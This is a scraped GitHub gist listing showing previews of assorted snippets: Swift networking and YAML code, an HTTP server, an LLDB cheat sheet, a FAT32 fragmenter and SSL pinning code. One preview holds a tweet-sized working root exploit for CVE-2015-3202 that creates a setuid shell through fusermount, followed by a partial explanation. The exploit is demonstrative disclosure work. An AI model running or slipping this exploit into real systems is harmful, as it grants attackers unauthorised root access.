Skip to content

Instantly share code, notes, and snippets.

View nst's full-sized avatar

Nicolas Seriot nst

View GitHub Profile
// gem install cocoapods-playgrounds
// pod playgrounds LibYAML
// Update: @floriankugler had a great idea to use UnsafeBufferPointer
// Paste in the following:
import LibYAML
public struct YAMLError: ErrorType {
// Created by Chris Eidhof on 04-01-16.
// Copyright © 2016 Chris Eidhof. All rights reserved.
//
// Large parts copy/pasted from https://github.com/Eonil/TCPIPSocket.Swift
import Foundation
struct TCPIPSocketAddress {
init(_ a:UInt8, _ b:UInt8, _ c:UInt8, _ d:UInt8) {
let a1 = UInt32(a) << 24
@kyleve
kyleve / Init.swift
Last active February 3, 2018 23:01
// Make initialization + configuration of mutable classes (such as views) easier.
@warn_unused_result
public func Init<Type>(value : Type, @noescape block: (object: Type) throws -> Void) rethrows -> Type
{
try block(object: value)
return value
}
func example()
{
@neonichu
neonichu / serve.swift
Last active April 21, 2022 17:09
Tiny HTTP server example in Swift.
#!/usr/bin/env swift
#if os(Linux)
import Glibc
let sin_zero = (UInt8(0),UInt8(0),UInt8(0),UInt8(0),UInt8(0),UInt8(0),UInt8(0),UInt8(0))
let sock_stream = Int32(SOCK_STREAM.rawValue)
#else
import Darwin.C
@amake
amake / surrogates.swift
Last active July 11, 2016 16:00
Naked Unicode surrogates in Swift
// Making strings of "normal" Unicode is pretty easy:
// Unicode Scalar literal
"\u{2603}" // "☃"
// From int
String(UnicodeScalar(0x2603)) // "☃"
// Maybe you want to test how your app handles weird Unicode input, like naked surrogates.
// But Swift makes it pretty hard to create such strings.
@alanzeino
alanzeino / lldb-debugging.md
Last active April 28, 2024 10:21
LLDB debugging with examples

LLDB Debugging Cheat Sheet

Commands

LLDB Commands

LLDB comes with a great set of commands for powerful debugging.

help

Your starting point for anything. Type help to get a list of all commands, plus any user installed ones. Type 'help for more information on a command. Type help to get help for a specific option in a command too.

@ryancdotorg
ryancdotorg / frag32.py
Created August 20, 2015 16:27
A FAT32 fragmenter, because I am a horrible person.
#!/usr/bin/env python
import random
import struct
import sys
# Most of the Fat32 class was cribbed from https://gist.github.com/jonte/4577833
def ppNum(num):
return "%s (%s)" % (hex(num), num)
@edwardmp
edwardmp / gist:df8517aa9f1752e73353
Created May 22, 2015 16:06
Using NSURLSession with SSL public key pinning
/*
1. Adhere to the NSURLSessionDelegate delegate
2. Initialize NSURLSession and specify self as delegate (e.g. [NSURLSession sessionWithConfiguration:defaultConfigObject delegate:self delegateQueue: [NSOperationQueue mainQueue]];)
3. Add the method below to your class
4. Change the certificate resource name
*/
- (void)URLSession:(NSURLSession *)session didReceiveChallenge:(NSURLAuthenticationChallenge *)challenge completionHandler:(void (^)(NSURLSessionAuthChallengeDisposition, NSURLCredential *))completionHandler
{
SecTrustRef serverTrust = challenge.protectionSpace.serverTrust;
@taviso
taviso / CVE-2015-3202
Created May 21, 2015 12:52
Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet.
# Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet.
12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890
a=/tmp/.$$;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202
# Here's how it works, $a holds the name of a shellscript to be executed as
# root.
a=/tmp/.$$;
# $b is used twice, first to build the contents of shellscript $a, and then as
@pietbrauer
pietbrauer / Makefile
Created April 26, 2015 10:03
Shutdown and reset all iOS Simulators
erase_sim:
./reset_sim.sh 2>/dev/null; true